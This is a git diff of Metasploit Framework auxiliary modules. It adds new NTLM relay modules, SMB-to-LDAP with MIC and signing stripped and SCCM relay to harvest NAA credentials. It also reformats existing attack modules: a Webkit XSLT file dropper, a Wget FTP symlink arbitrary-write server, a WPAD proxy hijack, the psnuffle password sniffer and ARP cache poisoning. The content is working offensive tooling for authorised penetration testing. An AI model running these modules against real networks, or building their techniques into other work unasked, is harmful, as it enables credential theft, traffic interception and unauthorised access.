'https://github.com/garrettfoster13/sccmhunter'] + ], + 'DefaultOptions' => { + 'RPORT' => 80 + }, + 'License' => MSF_LICENSE, + 'Actions' => [[ 'Relay', { 'Description' => 'Run SMB SCCM relay server' } ]], + 'PassiveActions' => [ 'Relay' ], + 'DefaultAction' => 'Relay' + }) + + register_options( + [ + OptString.new('TARGETURI', [ true, 'The URI for the cert server.', '/' ]), + OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]), + OptString.new('MANAGEMENT_POINT', [ true, 'The management point (SCCM server) to use' ]), + OptString.new('SITE_CODE', [ true, 'The site code to use on the management point' ]), + OptString.new('DOMAIN', [ true, 'The domain to authenticate to', '' ]) + ] + ) + + deregister_options('LDAPDomain') # deregister LDAPDomain because DOMAIN is registered and used for both LDAP and HTTP + end + + def relay_targets + Msf::Exploit::Remote::SMB::Relay::TargetList.new( + (datastore['SSL'] ? :https : :http), + datastore['RPORT'], + datastore['RELAY_TARGETS'], + '/ccm_system_windowsauth/request', + randomize_targets: datastore['RANDOMIZE_TARGETS'], + protocol_options: { http_status_code: 403 } + ) + end + + def check_host(target_ip) + res = send_request_raw( + { + 'rhost' => target_ip, + 'method' => 'GET', + 'uri' => normalize_uri('/ccm_system_windowsauth/request'), + 'headers' => { + 'Accept-Encoding' => 'identity' + } + } + ) + disconnect + + return Exploit::CheckCode::Detected if res&.code == 401 + + Exploit::CheckCode::Unknown + end + + def run + # check_options + relay_targets.each do |target| + print_status("Checking endpoint on #{target}") + check_code = check_host(target.ip) + case check_code + when Exploit::CheckCode::Unknown + fail_with(Failure::UnexpectedReply, "SCCM HTTP server does not appear to be running on #{target}") + when Exploit::CheckCode::Detected + print_good("SCCM HTTP server appears to be running on #{target}") + end + end + + start_service + print_status('Server started.') + + # Wait on the service to stop + service.wait if service + end + + def on_relay_success(relay_connection:, relay_identity:) + opts = { 'client' => relay_connection } + computer_user = relay_identity.split('\\').last.delete_suffix('$') + get_naa_credentials(opts, datastore['MANAGEMENT_POINT'], datastore['SITE_CODE'], computer_user) + end +end diff --git a/modules/auxiliary/server/relay/smb_to_ldap.rb b/modules/auxiliary/server/relay/smb_to_ldap.rb new file mode 100644 index 0000000000000..0059e22bd7be8 --- /dev/null +++ b/modules/auxiliary/server/relay/smb_to_ldap.rb @@ -0,0 +1,117 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::SMB::RelayServer + include Msf::Auxiliary::CommandShell + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Microsoft Windows SMB to LDAP Relay', + 'Description' => %q{ + This module supports running an SMB server which validates credentials, and + then attempts to execute a relay attack against an LDAP server on the + configured RHOSTS hosts. + + It is not possible to relay NTLMv2 to LDAP due to the Message Integrity Check + (MIC). As a result, this will only work with NTLMv1. The module takes care of + removing the relevant flags to bypass signing. + + If the relay succeeds, an LDAP session to the target will be created. This can + be used by any modules that support LDAP sessions, like `admin/ldap/rbcd` or + `auxiliary/gather/ldap_query`. + + Supports SMBv2, SMBv3, and captures NTLMv1 as well as NTLMv2 hashes. + SMBv1 is not supported - please see https://github.com/rapid7/metasploit-framework/issues/16261 + }, + 'Author' => [ + 'Spencer McIntyre', # This module & LDAP relay library + 'Christophe De La Fuente' # This module & SMB relay updates + ], + 'License' => MSF_LICENSE, + 'DefaultTarget' => 0, + 'Actions' => [ + [ 'CREATE_LDAP_SESSION', { 'Description' => 'Create an LDAP session' } ] + ], + 'PassiveActions' => [ 'CREATE_LDAP_SESSION' ], + 'DefaultAction' => 'CREATE_LDAP_SESSION', + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'Reliability' => [ REPEATABLE_SESSION ], + 'SideEffects' => [ IOC_IN_LOGS, ACCOUNT_LOCKOUTS ] + } + ) + ) + + register_options( + [ + Opt::RPORT(389) + ] + ) + + register_advanced_options( + [ + OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]), + OptInt.new('SessionKeepalive', [true, 'Time (in seconds) for sending protocol-level keepalive messages', 10 * 60]) + ] + ) + end + + def relay_targets + Msf::Exploit::Remote::SMB::Relay::TargetList.new( + :ldap, # TODO: look into LDAPs + datastore['RPORT'], + datastore['RHOSTS'], + datastore['TARGETURI'], + randomize_targets: datastore['RANDOMIZE_TARGETS'], + drop_mic_only: true, + drop_mic_and_sign_key_exch_flags: true + ) + end + + def check_options + unless framework.features.enabled?(Msf::FeatureManager::LDAP_SESSION_TYPE) + fail_with(Failure::BadConfig, 'This module requires the `ldap_session_type` feature to be enabled. Please enable this feature using `features set ldap_session_type true`') + end + end + + def run + check_options + + start_service + print_status('Server started.') + + # Wait on the service to stop + service.wait if service + end + + def on_relay_success(relay_connection:, relay_identity:) + print_good('Relay succeeded') + session_setup(relay_connection, relay_identity) + rescue StandardError => e + elog('Failed to setup the session', error: e) + end + + # @param [Msf::Exploit::Remote::SMB::Relay::NTLM::Target::LDAP::Client] relay_connection + # @return [Msf::Sessions::LDAP] + def session_setup(relay_connection, relay_identity) + client = relay_connection.create_ldap_client + ldap_session = Msf::Sessions::LDAP.new( + relay_connection.socket, + { + client: client, + keepalive_seconds: datastore['SessionKeepalive'] + } + ) + domain, _, username = relay_identity.partition('\\') + datastore_options = { + 'DOMAIN' => domain, + 'USERNAME' => username + } + start_session(self, nil, datastore_options, false, ldap_session.rstream, ldap_session) + end +end diff --git a/modules/auxiliary/server/socks_unc.rb b/modules/auxiliary/server/socks_unc.rb index 9f62bfc188ba0..7780077fdfd18 100644 --- a/modules/auxiliary/server/socks_unc.rb +++ b/modules/auxiliary/server/socks_unc.rb @@ -7,33 +7,31 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer include Msf::Auxiliary::Report - def initialize super( - 'Name' => 'SOCKS Proxy UNC Path Redirection', - 'Description' => %q{ + 'Name' => 'SOCKS Proxy UNC Path Redirection', + 'Description' => %q{ This module provides a Socks proxy service that redirects all HTTP requests to a web page that loads a UNC path. }, - 'Author' => 'hdm', - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Proxy', 'Description' => 'Run SOCKS UNC proxy' ] - ], - 'PassiveActions' => - [ - 'Proxy' - ], - 'DefaultAction' => 'Proxy' + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Actions' => [ + [ 'Proxy', 'Description' => 'Run SOCKS UNC proxy' ] + ], + 'PassiveActions' => [ + 'Proxy' + ], + 'DefaultAction' => 'Proxy' ) register_options( [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 1080 ]), - OptString.new('UNCHOST', [ false, "The address of the UNC host.", nil ]) - ]) + OptPort.new('SRVPORT', [ true, "The local port to listen on.", 1080 ]), + OptString.new('UNCHOST', [ false, "The address of the UNC host.", nil ]) + ] + ) end def setup @@ -42,16 +40,16 @@ def setup end def on_client_connect(client) - #print_status("New connection from #{client.peerhost}:#{client.peerport}") + # print_status("New connection from #{client.peerhost}:#{client.peerport}") end def on_client_data(client) - #print_status("Data from #{client.peerhost}:#{client.peerport}") + # print_status("Data from #{client.peerhost}:#{client.peerport}") process_socks(client) end def on_client_close(client) - #print_status("Closed connection from #{client.peerhost}:#{client.peerport}") + # print_status("Closed connection from #{client.peerhost}:#{client.peerport}") end def run @@ -69,7 +67,7 @@ def process_socks(client) return if !(req and req.length > 2) # Versions - case req[0,1] + case req[0, 1] when "\x04" sver, sreq, sport, shost, suser, sname = req.unpack('CCnA4Z*Z*') @@ -80,7 +78,7 @@ def process_socks(client) end # Handle socks4a - if (shost[0,3] == "\x00\x00\x00") + if (shost[0, 3] == "\x00\x00\x00") shost = sname else shost = shost.unpack('C*').join('.') @@ -104,20 +102,20 @@ def process_socks(client) return reject(client) end - saddr = req[4,req.length - 4] + saddr = req[4, req.length - 4] case stype when 0x01 - shost = req[4,4].unpack('C*').join('.') - sport = req[8,2].unpack('n')[0] + shost = req[4, 4].unpack('C*').join('.') + sport = req[8, 2].unpack('n')[0] when 0x03 shostlen = req[4] - shost = req[5, shostlen] - sport = req[5+shostlen, 2].unpack('n')[0] + shost = req[5, shostlen] + sport = req[5 + shostlen, 2].unpack('n')[0] when 0x04 - shost = req[4,16].unpack('n').map{ |x| "%.2x" % x }.join(':') - sport = req[20,2].unpack('n')[0] + shost = req[4, 16].unpack('n').map { |x| "%.2x" % x }.join(':') + sport = req[20, 2].unpack('n')[0] end print_status("Connection attempt from #{client.peerhost}:#{client.peerport} to #{shost}:#{sport}") @@ -129,11 +127,10 @@ def process_socks(client) return reject(client) end - req = client.get_once hed = req ? req.split(/\n/)[0].strip : '' - host = datastore['UNCHOST'] || Rex::Socket.source_address(client.peerhost) - share = Rex::Text.rand_text_alpha(8) + host = datastore['UNCHOST'] || Rex::Socket.source_address(client.peerhost) + share = Rex::Text.rand_text_alpha(8) filename = Rex::Text.rand_text_alpha(8) print_status("Request from #{client.peerhost}:#{client.peerport}: #{hed}") @@ -145,7 +142,7 @@ def process_socks(client) |.gsub(/\s+/, ' ') - res = "HTTP/1.1 200 OK\r\n" + res = "HTTP/1.1 200 OK\r\n" res << "Content-Type: text/html\r\n" res << "Connection: Close\r\n" res << "Content-Length: #{body.length}\r\n\r\n#{body}" @@ -153,6 +150,4 @@ def process_socks(client) client.put(res) end - - end diff --git a/modules/auxiliary/server/tftp.rb b/modules/auxiliary/server/tftp.rb index 574a994e2f3b6..86950cafd05f7 100644 --- a/modules/auxiliary/server/tftp.rb +++ b/modules/auxiliary/server/tftp.rb @@ -11,30 +11,29 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'TFTP File Server', - 'Description' => %q{ + 'Name' => 'TFTP File Server', + 'Description' => %q{ This module provides a TFTP service }, - 'Author' => [ 'jduck', 'todb' ], - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Service', 'Description' => 'Serve files via TFTP' ] - ], - 'PassiveActions' => - [ - 'Service' - ], - 'DefaultAction' => 'Service' + 'Author' => [ 'jduck', 'todb' ], + 'License' => MSF_LICENSE, + 'Actions' => [ + [ 'Service', 'Description' => 'Serve files via TFTP' ] + ], + 'PassiveActions' => [ + 'Service' + ], + 'DefaultAction' => 'Service' ) register_options( [ - OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]), - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 69 ]), - OptPath.new('TFTPROOT', [ true, "The TFTP root directory to serve files from", Dir.tmpdir ]), + OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]), + OptPort.new('SRVPORT', [ true, "The local port to listen on.", 69 ]), + OptPath.new('TFTPROOT', [ true, "The TFTP root directory to serve files from", Dir.tmpdir ]), OptPath.new('OUTPUTPATH', [ true, "The directory in which uploaded files will be written.", Dir.tmpdir ]) - ]) + ] + ) end def srvhost @@ -61,7 +60,7 @@ def run print_status("Uploaded files will be saved in #{datastore['OUTPUTPATH']}") # Individual virtual files can be served here - - #@tftp.register_file("ays", "A" * 2048) # multiple of 512 on purpose + # @tftp.register_file("ays", "A" * 2048) # multiple of 512 on purpose @tftp.start add_socket(@tftp.sock) diff --git a/modules/auxiliary/server/webkit_xslt_dropper.rb b/modules/auxiliary/server/webkit_xslt_dropper.rb index 07f9fc10c9570..3b205ca510f4d 100644 --- a/modules/auxiliary/server/webkit_xslt_dropper.rb +++ b/modules/auxiliary/server/webkit_xslt_dropper.rb @@ -8,76 +8,83 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report def initialize(info = {}) - super(update_info(info, - 'Name' => 'Cross Platform Webkit File Dropper', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Cross Platform Webkit File Dropper', + 'Description' => %q{ This module exploits a XSLT vulnerability in Webkit to drop ASCII or UTF-8 - files to the target file-system. By default, the file will be dropped in - C:\Program Files\ - }, - 'Author' => [ 'Nicolas Gregoire' ], - 'License' => MSF_LICENSE, - 'References' => - [ + files to the target file-system. By default, the file will be dropped in + C:\Program Files\ + }, + 'Author' => [ 'Nicolas Gregoire' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2011-1774' ] ], - 'Actions' => - [ + 'Actions' => [ [ 'WebServer', 'Description' => 'Serve exploit via web server' ] ], - 'PassiveActions' => - [ + 'PassiveActions' => [ 'WebServer' ], - 'DefaultAction' => 'WebServer')) + 'DefaultAction' => 'WebServer', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptString.new('REMOTE_PATH', [ true, "Location of the remote file", 'flag.txt' ]), OptString.new('REMOTE_CONTENT', [ true, "Content of the remote file", 'Hello from CVE-2011-1774' ]) - ]) + ] + ) end def on_request_uri(cli, request) - path = datastore['REMOTE_PATH'] - content = datastore['REMOTE_CONTENT'] - html = <<-EOS - - -]> - + path = datastore['REMOTE_PATH'] + content = datastore['REMOTE_CONTENT'] + html = <<~EOS + + + ]> + - - - + + + - - - + + + - - - - - - - - - - - - -EOS + + + + + + + + + + + + + EOS print_status("Sending XSLT payload ...") print_status("Destination file : #{path}") diff --git a/modules/auxiliary/server/wget_symlink_file_write.rb b/modules/auxiliary/server/wget_symlink_file_write.rb index 3d62531ffa402..23883d3e180f5 100644 --- a/modules/auxiliary/server/wget_symlink_file_write.rb +++ b/modules/auxiliary/server/wget_symlink_file_write.rb @@ -9,8 +9,8 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'GNU Wget FTP Symlink Arbitrary Filesystem Access', - 'Description' => %q{ + 'Name' => 'GNU Wget FTP Symlink Arbitrary Filesystem Access', + 'Description' => %q{ This module exploits a vulnerability in Wget when used in recursive (-r) mode with a FTP server as a destination. A symlink is used to allow arbitrary writes to the target's @@ -20,28 +20,28 @@ def initialize Tested successfully with wget 1.14. Versions prior to 1.16 are presumed vulnerable. }, - 'Author' => ['hdm'], - 'License' => MSF_LICENSE, - 'Actions' => [['Service', 'Description' => 'Run malicious FTP server']], + 'Author' => ['hdm'], + 'License' => MSF_LICENSE, + 'Actions' => [['Service', 'Description' => 'Run malicious FTP server']], 'PassiveActions' => ['Service'], - 'References' => - [ - [ 'CVE', '2014-4877'], - [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1139181' ], - [ 'URL', 'https://www.rapid7.com/blog/post/2014/10/28/r7-2014-15-gnu-wget-ftp-symlink-arbitrary-filesystem-access' ] - ], - 'DefaultAction' => 'Service', + 'References' => [ + [ 'CVE', '2014-4877'], + [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1139181' ], + [ 'URL', 'https://www.rapid7.com/blog/post/2014/10/28/r7-2014-15-gnu-wget-ftp-symlink-arbitrary-filesystem-access' ] + ], + 'DefaultAction' => 'Service', 'DisclosureDate' => 'Oct 27 2014' ) register_options( [ - OptString.new('TARGET_FILE', [ true, "The target file to overwrite", '/tmp/pwned' ]), - OptString.new('TARGET_DATA', [ true, "The data to write to the target file", 'Hello from Metasploit' ]), + OptString.new('TARGET_FILE', [ true, "The target file to overwrite", '/tmp/pwned' ]), + OptString.new('TARGET_DATA', [ true, "The data to write to the target file", 'Hello from Metasploit' ]), OptPort.new('SRVPORT', [ true, "The port for the malicious FTP server to listen on", 2121]) - ]) + ] + ) - @fakedir = Rex::Text.rand_text_alphanumeric(rand(8)+8) + @fakedir = Rex::Text.rand_text_alphanumeric(rand(8) + 8) end def run @@ -50,19 +50,19 @@ def run exploit() end - def on_client_command_user(c,arg) + def on_client_command_user(c, arg) @state[c][:user] = arg c.put "331 User name okay, need password...\r\n" end - def on_client_command_pass(c,arg) + def on_client_command_pass(c, arg) @state[c][:pass] = arg c.put "230 Login OK\r\n" @state[c][:auth] = true print_status("#{@state[c][:name]} Logged in with user '#{@state[c][:user]}' and password '#{@state[c][:user]}'...") end - def on_client_command_retr(c,arg) + def on_client_command_retr(c, arg) print_status("#{@state[c][:name]} -> RETR #{arg}") if not @state[c][:auth] @@ -89,8 +89,7 @@ def on_client_command_retr(c,arg) print_good("#{@state[c][:name]} Hopefully wrote #{datastore['TARGET_DATA'].length} bytes to #{datastore['TARGET_FILE']}") end - def on_client_command_list(c,arg) - + def on_client_command_list(c, arg) print_status("#{@state[c][:name]} -> LIST #{arg}") if not @state[c][:auth] @@ -107,7 +106,7 @@ def on_client_command_list(c,arg) pwd = @state[c][:cwd] buf = '' - dstamp = Time.at(Time.now.to_i-((3600*24*365)+(3600*24*(rand(365)+1)))).strftime("%b %e %Y") + dstamp = Time.at(Time.now.to_i - ((3600 * 24 * 365) + (3600 * 24 * (rand(365) + 1)))).strftime("%b %e %Y") unless pwd.index(@fakedir) buf << "lrwxrwxrwx 1 root root 33 #{dstamp} #{@fakedir} -> #{::File.dirname(datastore['TARGET_FILE'])}\r\n" buf << "drwxrwxr-x 15 root root 4096 #{dstamp} #{@fakedir}\r\n" @@ -121,8 +120,7 @@ def on_client_command_list(c,arg) conn.close end - def on_client_command_size(c,arg) - + def on_client_command_size(c, arg) if not @state[c][:auth] c.put "500 Access denied\r\n" return @@ -131,9 +129,7 @@ def on_client_command_size(c,arg) c.put("213 #{datastore['TARGET_DATA'].length}\r\n") end - - def on_client_command_cwd(c,arg) - + def on_client_command_cwd(c, arg) print_status("#{@state[c][:name]} -> CWD #{arg}") if not @state[c][:auth] diff --git a/modules/auxiliary/server/wpad.rb b/modules/auxiliary/server/wpad.rb index caee486f7c73e..bba9e19ebbfcc 100644 --- a/modules/auxiliary/server/wpad.rb +++ b/modules/auxiliary/server/wpad.rb @@ -8,59 +8,66 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report def initialize(info = {}) - super(update_info(info, - 'Name' => 'WPAD.dat File Server', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'WPAD.dat File Server', + 'Description' => %q{ This module generates a valid wpad.dat file for WPAD mitm - attacks. Usually this module is used in combination with DNS attacks - or the 'NetBIOS Name Service Spoofer' module. Please remember as the - server will be running by default on TCP port 80 you will need the - required privileges to open that port. - }, - 'Author' => - [ - 'et' # Metasploit module + attacks. Usually this module is used in combination with DNS attacks + or the 'NetBIOS Name Service Spoofer' module. Please remember as the + server will be running by default on TCP port 80 you will need the + required privileges to open that port. + }, + 'Author' => [ + 'et' # Metasploit module ], - 'License' => MSF_LICENSE, - 'DefaultOptions' => - { + 'License' => MSF_LICENSE, + 'DefaultOptions' => { 'SRVPORT' => 80 }, - 'Passive' => true)) + 'Passive' => true, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ - OptAddress.new('EXCLUDENETWORK', [ true, "Network to exclude",'127.0.0.1' ]), - OptAddress.new('EXCLUDENETMASK', [ true, "Netmask to exclude",'255.255.255.0' ]), + OptAddress.new('EXCLUDENETWORK', [ true, "Network to exclude", '127.0.0.1' ]), + OptAddress.new('EXCLUDENETMASK', [ true, "Netmask to exclude", '255.255.255.0' ]), OptAddress.new('PROXY', [ true, "Proxy to redirect traffic to", '0.0.0.0' ]), - OptPort.new('PROXYPORT',[ true, "Proxy port", 8080 ]) - ]) + OptPort.new('PROXYPORT', [ true, "Proxy port", 8080 ]) + ] + ) deregister_options('URIPATH') end - def on_request_uri(cli, request) vprint_status("Request '#{request.method} #{request.headers['user-agent']}") return send_not_found(cli) if request.method == "POST" - html = <<-EOS -function FindProxyForURL(url, host) { - // URLs within this network are accessed directly - if (isInNet(host, "#{datastore['EXCLUDENETWORK']}", "#{datastore['EXCLUDENETMASK']}")) - { - return "DIRECT"; - } - return "PROXY #{datastore['PROXY']}:#{datastore['PROXYPORT']}; DIRECT"; - } -EOS + html = <<~EOS + function FindProxyForURL(url, host) { + // URLs within this network are accessed directly + if (isInNet(host, "#{datastore['EXCLUDENETWORK']}", "#{datastore['EXCLUDENETMASK']}")) + { + return "DIRECT"; + } + return "PROXY #{datastore['PROXY']}:#{datastore['PROXYPORT']}; DIRECT"; + } + EOS print_status("Sending WPAD config") send_response_html(cli, html, - { - 'Content-Type' => 'application/x-ns-proxy-autoconfig' - }) + { + 'Content-Type' => 'application/x-ns-proxy-autoconfig' + }) end def resource_uri @@ -84,4 +91,3 @@ def run end end end - diff --git a/modules/auxiliary/sniffer/psnuffle.rb b/modules/auxiliary/sniffer/psnuffle.rb index bf627a7b92ff9..6dd3274c32663 100644 --- a/modules/auxiliary/sniffer/psnuffle.rb +++ b/modules/auxiliary/sniffer/psnuffle.rb @@ -17,38 +17,43 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'pSnuffle Packet Sniffer', - 'Description' => 'This module sniffs passwords like dsniff did in the past', - 'Author' => 'Max Moser ', - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Sniffer', 'Description' => 'Run sniffer' ], - [ 'List', 'Description' => 'List protocols' ] - ], + 'Name' => 'pSnuffle Packet Sniffer', + 'Description' => 'This module sniffs passwords like dsniff did in the past.', + 'Author' => 'Max Moser ', + 'License' => MSF_LICENSE, + 'Actions' => [ + [ 'Sniffer', { 'Description' => 'Run sniffer' } ], + [ 'List', { 'Description' => 'List protocols' } ] + ], 'PassiveActions' => [ 'Sniffer' ], - 'DefaultAction' => 'Sniffer' + 'DefaultAction' => 'Sniffer', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) + register_options [ OptString.new('PROTOCOLS', [true, 'A comma-delimited list of protocols to sniff or "all".', 'all']), ] register_advanced_options [ - OptPath.new('ProtocolBase', [true, 'The base directory containing the protocol decoders', + OptPath.new('ProtocolBase', [ + true, 'The base directory containing the protocol decoders', File.join(Msf::Config.data_directory, 'exploits', 'psnuffle') ]), ] deregister_options('RHOSTS') end - def load_protocols base = datastore['ProtocolBase'] unless File.directory? base - raise RuntimeError, 'The ProtocolBase parameter is set to an invalid directory' + raise 'The ProtocolBase parameter is set to an invalid directory' end - allowed = datastore['PROTOCOLS'].split(',').map{|x| x.strip.downcase} + allowed = datastore['PROTOCOLS'].split(',').map { |x| x.strip.downcase } @protos = {} decoders = Dir.new(base).entries.grep(/\.rb$/).sort decoders.each do |n| @@ -57,7 +62,7 @@ def load_protocols begin m.module_eval(File.read(f, File.size(f))) m.constants.grep(/^Sniffer(.*)/) do - proto = $1 + proto = ::Regexp.last_match(1) next unless allowed.include?(proto.downcase) || datastore['PROTOCOLS'] == 'all' klass = m.const_get("Sniffer#{proto}") @@ -65,7 +70,7 @@ def load_protocols print_status("Loaded protocol #{proto} from #{f}...") end - rescue => e + rescue StandardError => e print_error("Decoder #{n} failed to load: #{e.class} #{e} #{e.backtrace}") end end @@ -88,6 +93,7 @@ def run p = PacketFu::Packet.parse(pkt) next unless p.is_tcp? next if p.payload.empty? + @protos.each_key do |k| @protos[k].parse(p) end @@ -107,13 +113,13 @@ class BaseProtocolParser def initialize(framework, mod) self.framework = framework - self.module = mod - self.sessions = {} - self.dport = 0 + self.module = mod + self.sessions = {} + self.dport = 0 register_sigs end - def parse(pkt) + def parse(_pkt) nil end @@ -166,12 +172,12 @@ def report_cred(opts) self.module.create_credential_login(login_data) end - def report_note(*s) - self.module.report_note(*s) + def report_note(*opts) + self.module.report_note(*opts) end - def report_service(*s) - self.module.report_service(*s) + def report_service(*opts) + self.module.report_service(*opts) end def find_session(sessionid) @@ -184,39 +190,39 @@ def find_session(sessionid) purge_keys << ses end end - purge_keys.each {|ses| sessions.delete(ses) } + purge_keys.each { |ses| sessions.delete(ses) } # Does this session already exist? - if (sessions[sessionid]) + if sessions[sessionid] # Refresh the timestamp sessions[sessionid][:mtime] = Time.now - else + elsif (sessionid =~ /^([^:]+):([^-]+)-([^:]+):(\d+)$/s) # Create a new session entry along with the host/port from the id - if (sessionid =~ /^([^:]+):([^-]+)-([^:]+):(\d+)$/s) - sessions[sessionid] = { - :client_host => $1, - :client_port => $2, - :host => $3, - :port => $4, - :session => sessionid, - :ctime => Time.now, - :mtime => Time.now - } - end + sessions[sessionid] = { + client_host: ::Regexp.last_match(1), + client_port: ::Regexp.last_match(2), + host: ::Regexp.last_match(3), + port: ::Regexp.last_match(4), + session: sessionid, + ctime: Time.now, + mtime: Time.now + } end sessions[sessionid] end def get_session_src(pkt) - return "%s:%d-%s:%d" % [pkt.ip_daddr,pkt.tcp_dport,pkt.ip_saddr,pkt.tcp_sport] if pkt.is_tcp? - return "%s:%d-%s:%d" % [pkt.ip_daddr,pkt.udp_dport,pkt.ip_saddr,pkt.udp_sport] if pkt.is_udp? - return "%s:%d-%s:%d" % [pkt.ip_daddr,0,pkt.ip_saddr,0] + return "#{pkt.ip_daddr}:#{pkt.tcp_dport}-#{pkt.ip_saddr}-#{pkt.tcp_sport}" if pkt.is_tcp? + return "#{pkt.ip_daddr}:#{pkt.udp_dport}-#{pkt.ip_saddr}-#{pkt.udp_sport}" if pkt.is_udp? + + "#{pkt.ip_daddr}:0-#{pkt.ip_saddr}:0" end def get_session_dst(pkt) - return "%s:%d-%s:%d" % [pkt.ip_saddr,pkt.tcp_sport,pkt.ip_daddr,pkt.tcp_dport] if pkt.is_tcp? - return "%s:%d-%s:%d" % [pkt.ip_saddr,pkt.udp_sport,pkt.ip_daddr,pkt.udp_dport] if pkt.is_udp? - return "%s:%d-%s:%d" % [pkt.ip_saddr,0,pkt.ip_daddr,0] + return "#{pkt.ip_saddr}:#{pkt.tcp_sport}-#{pkt.ip_daddr}:#{pkt.tcp_dport}" if pkt.is_tcp? + return "#{pkt.ip_saddr}:#{pkt.udp_sport}-#{pkt.ip_daddr}:#{pkt.udp_dport}" if pkt.is_udp? + + "#{pkt.ip_saddr}:0-#{pkt.ip_daddr}:0" end end diff --git a/modules/auxiliary/spoof/arp/arp_poisoning.rb b/modules/auxiliary/spoof/arp/arp_poisoning.rb index 2a5b06e86c4d2..8e4d0802d6cfd 100644 --- a/modules/auxiliary/spoof/arp/arp_poisoning.rb +++ b/modules/auxiliary/spoof/arp/arp_poisoning.rb @@ -9,49 +9,55 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'ARP Spoof', + 'Name' => 'ARP Spoof', 'Description' => %q{ Spoof ARP replies and poison remote ARP caches to conduct IP address spoofing or a denial of service. }, - 'Author' => 'amaloteaux', # msf rewrite - #tons of people - 'License' => MSF_LICENSE, - 'References' => - [ - ['OSVDB', '11169'], - ['CVE', '1999-0667'], - ['URL', 'https://en.wikipedia.org/wiki/ARP_spoofing'] - ], - 'DisclosureDate' => 'Dec 22 1999' #osvdb date + 'Author' => [ + 'amaloteaux', # msf rewrite + # tons of people + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['OSVDB', '11169'], + ['CVE', '1999-0667'], + ['URL', 'https://en.wikipedia.org/wiki/ARP_spoofing'] + ], + 'DisclosureDate' => 'Dec 22 1999', # osvdb date + 'Notes' => { + 'Stability' => [OS_RESOURCE_LOSS], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } ) register_options([ - OptString.new('SHOSTS', [true, 'Spoofed ip addresses']), - OptString.new('SMAC', [false, 'The spoofed mac']), - OptString.new('DHOSTS', [true, 'Target ip addresses']), - OptString.new('INTERFACE', [false, 'The name of the interface']), - OptBool.new( 'BIDIRECTIONAL', [true, 'Spoof also the source with the dest',false]), - OptBool.new( 'AUTO_ADD', [true, 'Auto add new host when discovered by the listener',false]), - OptBool.new( 'LISTENER', [true, 'Use an additional thread that will listen for arp requests to reply as fast as possible', true]) + OptString.new('SHOSTS', [true, 'Spoofed IP addresses']), + OptString.new('SMAC', [false, 'Spoofed MAC address']), + OptString.new('DHOSTS', [true, 'Target IP addresses']), + OptString.new('INTERFACE', [false, 'The name of the interface']), + OptBool.new('BIDIRECTIONAL', [true, 'Spoof also the source with the destination', false]), + OptBool.new('AUTO_ADD', [true, 'Auto add new host when discovered by the listener', false]), + OptBool.new('LISTENER', [true, 'Use an additional thread that will listen for arp requests to reply as fast as possible', true]) ]) register_advanced_options([ - OptString.new('LOCALSMAC', [false, 'The MAC address of the local interface to use for hosts detection, this is useful only if you want to spoof to another host with SMAC']), - OptString.new('LOCALSIP', [false, 'The IP address of the local interface to use for hosts detection']), - OptInt.new( 'PKT_DELAY', [true, 'The delay in milliseconds between each packet during poisoning', 100]), + OptString.new('LOCALSMAC', [false, 'The MAC address of the local interface to use for hosts detection, this is useful only if you want to spoof to another host with SMAC']), + OptString.new('LOCALSIP', [false, 'The IP address of the local interface to use for hosts detection']), + OptInt.new('PKT_DELAY', [true, 'The delay in milliseconds between each packet during poisoning', 100]), OptInt.new('TIMEOUT', [true, 'The number of seconds to wait for new data during host detection', 2]), - # This mode will generate address ip conflict pop up on most systems - OptBool.new( 'BROADCAST', [true, 'If set, the module will send replies on the broadcast address without consideration of DHOSTS', false]) + # This mode will generate address IP conflict pop up on most systems + OptBool.new('BROADCAST', [true, 'If set, the module will send replies on the broadcast address without consideration of DHOSTS', false]) ]) - deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE','RHOST','SECRET','GATEWAY_PROBE_HOST','GATEWAY_PROBE_PORT') + deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'RHOST', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT') end def run - open_pcap({'SNAPLEN' => 68, 'FILTER' => "arp[6:2] == 0x0002"}) + open_pcap({ 'SNAPLEN' => 68, 'FILTER' => 'arp[6:2] == 0x0002' }) @netifaces = true - if not netifaces_implemented? - print_error("WARNING : Pcaprub is not up-to-date, some functionality will not be available") + if !netifaces_implemented? + 